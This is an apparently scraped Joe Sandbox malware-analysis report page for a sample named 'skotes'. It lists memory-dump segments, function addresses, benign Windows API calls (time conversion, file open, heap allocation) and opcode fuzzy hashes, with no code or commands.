Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: c43a0efa699c51c320465e3494fe83dffb718b375b9015c19a0b00cc9050d7d5
Instruction ID: 5543cebb39529df978ddcb54231ae802d7fc88917637e7b28fe885aa3a55ed68
Opcode Fuzzy Hash: c43a0efa699c51c320465e3494fe83dffb718b375b9015c19a0b00cc9050d7d5
Instruction Fuzzy Hash: 1951E4719102589BEB24FB68CD85BDDB7B5EB45314F9042E8E408A7291DF349A84CB91

Function 00BB7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00BB705B,?,?,00000000,00000000), ref: 00BB7166

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: f0ff78f1b748cab217f60059f7f7032a33bfac54b14bed0cd1c1b64254ec3f88
Instruction ID: 99cae5f7c9f97cefedf49b9a91ffb1fb86bc0f583ef381477c80487acf61bd5d
Opcode Fuzzy Hash: f0ff78f1b748cab217f60059f7f7032a33bfac54b14bed0cd1c1b64254ec3f88
Instruction Fuzzy Hash: 0B110A7294410DABDB10DA95C880EEF77FCAF48310F2052A2E515F2080EA70EA09DB71

Function 00BBAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00BBAC8D

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 24af0d1ea8b4968fd318e75d287ed500fb71b2cfeeb1fc74533e68941ab12b73
Instruction ID: 2e0ac2f4cd58ece3ef934dc2f1273d53064f9513c50d8363cc8f41540032641b
Opcode Fuzzy Hash: 24af0d1ea8b4968fd318e75d287ed500fb71b2cfeeb1fc74533e68941ab12b73
Instruction Fuzzy Hash: 8D111571A0420AAFCB05DF58E9419DE7BF4EF48304F1440A9F809AB351DA70EE21CB65

Function 00BBB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,27FDA369,?,?,00B9D3FC,27FDA369,?,00B97A8B,?,?,?,?,?,?,00B87465,?), ref: 00BBB07E

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 186854ba55e4e8ae6ad0c39001ffe3a9831375a4cfd47d5b10c0b57e8a8055f0
Instruction ID: a180a835df8d53d82890d10860d8aabc92aaa748a0b32a24bb3dfb4277f1975e
Opcode Fuzzy Hash: 186854ba55e4e8ae6ad0c39001ffe3a9831375a4cfd47d5b10c0b57e8a8055f0
Instruction Fuzzy Hash: 16E06D351412269BEA3132668D81FFBB6C8DB423E0F9512A0EE6596190EFE0DC0082E0

Function 00BC1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00BC1B65,?,?,00000000,?,00BC1B65,00000000,0000000C), ref: 00BC1792

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5b3320376381ab32f87661a7fc902bc497853fc7f7df7a74235c571a1bd74854
Instruction ID: a18cf591125b4c47d60d13c31708ab7be8d2d88b3145968d5c2622bfcf737893
Opcode Fuzzy Hash: 5b3320376381ab32f87661a7fc902bc497853fc7f7df7a74235c571a1bd74854
Instruction Fuzzy Hash: 18D0923214020DBFDF129E84DC42EDA3BBAFB88714F014100BE1866560C732E832AB94

Function 04D406A8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3286393593.0000000004D40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fd61cb6e3dc2edb96fc560a74720cbe2d394847bd0b8f5dd68f0efc87d5fe67
Instruction ID: 7b81578d5731f78d01002a608632e8c041e64a49dd83c5cd23476b5b6fea4052
Opcode Fuzzy Hash: 9fd61cb6e3dc2edb96fc560a74720cbe2d394847bd0b8f5dd68f0efc87d5fe67
Instruction Fuzzy Hash: 761138B730C204BFA28355819755AF53E6EE7C3730730882AF283D6602F2E89D857932

Function 04D406FD Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3286393593.0000000004D40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
